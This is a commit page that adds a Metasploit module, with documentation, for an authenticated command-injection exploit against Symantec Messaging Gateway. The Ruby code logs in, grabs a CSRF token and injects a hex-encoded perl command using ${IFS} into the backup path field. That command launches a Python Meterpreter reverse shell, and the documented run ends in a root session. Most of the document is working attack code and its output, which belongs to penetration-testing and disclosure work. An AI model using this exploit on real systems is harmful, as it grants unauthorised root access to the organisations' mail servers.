Skip to content

Commit 6ae540d

Browse files
committed
Adding Symantec messaging gateway rce
1 parent f0f2189 commit 6ae540d

File tree

2 files changed

+258
-0
lines changed

2 files changed

+258
-0
lines changed
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
## Vulnerable Application
2+
3+
This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a
4+
terminal command under the context of the web server user which is root.
5+
6+
backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
7+
operating system command. One of the user input is being passed to the service without proper validation. That cause an command
8+
injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal
9+
command. Thus, you need to configure your own SSH service and set the required parameter during module usage.
10+
11+
**Vulnerable Application Installation Steps**
12+
13+
Click on the "free trial" button at the following URL.
14+
[https://www.symantec.com/products/messaging-security/messaging-gateway](https://www.symantec.com/products/messaging-security/messaging-gateway)
15+
16+
You need to complete the reqistration in order to download ISO file. License file will be delivered to your e-mail address
17+
18+
## Verification Steps
19+
20+
A successful check of the exploit will look like this:
21+
22+
```
23+
msf > use exploit/linux/http/symantec_messaging_gateway_exec
24+
msf exploit(symantec_messaging_gateway_exec) > set RHOST 12.0.0.199
25+
RHOST => 12.0.0.199
26+
msf exploit(symantec_messaging_gateway_exec) > set LHOST 12.0.0.1
27+
LHOST => 12.0.0.1
28+
msf exploit(symantec_messaging_gateway_exec) > set USERNAME admin
29+
USERNAME => admin
30+
msf exploit(symantec_messaging_gateway_exec) > set PASSWORD qwe123
31+
PASSWORD => qwe123
32+
msf exploit(symantec_messaging_gateway_exec) > set SSH_ADDRESS 12.0.0.15
33+
SSH_ADDRESS => 127.0.0.1
34+
msf exploit(symantec_messaging_gateway_exec) > set SSH_USERNAME root
35+
SSH_USERNAME => root
36+
msf exploit(symantec_messaging_gateway_exec) > set SSH_PASSWORD toor
37+
SSH_PASSWORD => qwe123
38+
msf exploit(symantec_messaging_gateway_exec) > run
39+
40+
[*] Started reverse TCP handler on 12.0.0.1:4444
41+
[*] Performing authentication...
42+
[+] Awesome..! Authenticated with admin:qwe123
43+
[*] Capturing CSRF token
44+
[+] CSRF token is : 48f39f735f15fcaccd0aacc40b27a67bf76f2bb1
45+
[*] Sending stage (39842 bytes) to 12.0.0.199
46+
[*] Meterpreter session 1 opened (12.0.0.1:4444 -> 12.0.0.199:53018) at 2017-04-30 14:00:12 +0300
47+
48+
meterpreter > getuid
49+
Server username: root
50+
meterpreter > sysinfo
51+
Computer : hacker.dev
52+
OS : Linux 2.6.32-573.3.1.el6.x86_64 #1 SMP Thu Aug 13 22:55:16 UTC 2015
53+
Architecture : x64
54+
System Language : en_US
55+
Meterpreter : python/linux
56+
meterpreter >
57+
```
Lines changed: 201 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,201 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info={})
12+
super(update_info(info,
13+
'Name' => "Symantec Messaging Gateway Remote Code Execution",
14+
'Description' => %q{
15+
This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a
16+
terminal command under the context of the web server user which is root.
17+
18+
backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing
19+
operating system command. One of the user input is being passed to the service without proper validation. That cause an command
20+
injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal
21+
command. Thus, you need to configure your own SSH service and set the required parameter during module usage.
22+
23+
This module was tested against Symantec Messaging Gateway 10.6.2-7.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Mehmet Ince <[email protected]>' # author & msf module
29+
],
30+
'References' =>
31+
[
32+
['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/']
33+
],
34+
'DefaultOptions' =>
35+
{
36+
'SSL' => true,
37+
'RPORT' => 443,
38+
'Payload' => 'python/meterpreter/reverse_tcp'
39+
},
40+
'Platform' => ['python'],
41+
'Arch' => ARCH_PYTHON,
42+
'Targets' => [[ 'Automatic', { }]],
43+
'Privileged' => true,
44+
'DisclosureDate' => "Apr 26 2017",
45+
'DefaultTarget' => 0
46+
))
47+
48+
register_options(
49+
[
50+
Opt::RPORT(443),
51+
OptString.new('USERNAME', [true, 'The username to login as']),
52+
OptString.new('PASSWORD', [true, 'The password to login with']),
53+
OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']),
54+
OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]),
55+
OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']),
56+
OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']),
57+
OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/'])
58+
]
59+
)
60+
end
61+
62+
def username
63+
datastore['USERNAME']
64+
end
65+
66+
def password
67+
datastore['PASSWORD']
68+
end
69+
70+
def ssh_address
71+
datastore['SSH_ADDRESS']
72+
end
73+
74+
def ssh_port
75+
datastore['SSH_PORT']
76+
end
77+
78+
def ssh_username
79+
datastore['SSH_USERNAME']
80+
end
81+
82+
def ssh_password
83+
datastore['SSH_PASSWORD']
84+
end
85+
86+
def auth
87+
print_status("Performing authentication...")
88+
89+
sid = ''
90+
last_login = ''
91+
92+
res = send_request_cgi({
93+
'method' => 'GET',
94+
'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do')
95+
})
96+
97+
if res && !res.get_cookies.empty?
98+
last_login = res.get_hidden_inputs.first['lastlogin'] || ''
99+
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
100+
else
101+
fail_with(Failure::Unknown, "Didn't get cookie-set header from response.")
102+
end
103+
104+
cookie = ''
105+
106+
# Performing authentication
107+
res = send_request_cgi({
108+
'method' => 'POST',
109+
'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'),
110+
'headers' => {
111+
'Referer' => "https://#{peer}/brightmail/viewLogin.do",
112+
'Connection' => 'keep-alive'
113+
},
114+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
115+
'vars_post' => {
116+
'lastlogin' => last_login,
117+
'userLocale' => '',
118+
'lang' => 'en_US',
119+
'username' => username,
120+
'password' => password,
121+
'loginBtn' => 'Login'
122+
}
123+
})
124+
125+
if res &&res.body =~ /Logged in/
126+
cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]
127+
print_good("Awesome..! Authenticated with #{username}:#{password}")
128+
else
129+
fail_with(Failure::Unknown, 'Credentials are not valid.')
130+
end
131+
132+
cookie
133+
end
134+
135+
def get_csrf_token(cookie)
136+
137+
print_status('Capturing CSRF token')
138+
139+
res = send_request_cgi({
140+
'method' => 'GET',
141+
'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'backupNow.do'),
142+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
143+
})
144+
145+
csrf_token = nil
146+
if res && res.code == 200
147+
match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/)
148+
if match
149+
csrf_token = match[1]
150+
print_good("CSRF token is : #{csrf_token}")
151+
else
152+
fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')
153+
end
154+
else
155+
fail_with(Failure::Unknown, 'Something went wrong.')
156+
end
157+
158+
csrf_token
159+
end
160+
161+
def exploit
162+
163+
cookie = auth
164+
csrf_token = get_csrf_token(cookie)
165+
166+
# I want to get meterpreter instead of cmd shell but SPACE and some other characters are blacklisted.
167+
# Note that, we always have one SPACE at the beginning of python payload. e.g: import base64,sys;
168+
# Here is the thing, use perl payload with ${IFS} technique and deliver the real payload inside of it :)
169+
# So we gonna execute a perl payload on server side which will execute our meterpreter python payload.
170+
171+
cmd = "python -c \"#{payload.encoded}\""
172+
final_payload = cmd.to_s.unpack("H*").first
173+
174+
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"
175+
176+
# Ok. We are ready to go
177+
send_request_cgi({
178+
'method' => 'POST',
179+
'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'performBackupNow.do'),
180+
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",
181+
'vars_post' => {
182+
'pageReuseFor' => 'backup_now',
183+
'id' => '',
184+
'symantec.brightmail.key.TOKEN' => csrf_token,
185+
'backupData' => 'full',
186+
'customType' => 'configuration',
187+
'includeIncidentMessages' => 'true',
188+
'includeLogData' => 'true',
189+
'backupTo' => '2',
190+
'remoteBackupProtocol' => 'SCP',
191+
'remoteBackupAddress' => ssh_address,
192+
'remoteBackupPort' => ssh_port,
193+
'remoteBackupPath' => "tmp$(#{p})",
194+
'requiresRemoteAuthentication' => 'true',
195+
'remoteBackupUsername' => ssh_username,
196+
'remoteBackupPassword' => ssh_password,
197+
}
198+
})
199+
end
200+
201+
end

0 commit comments

Comments
 (0)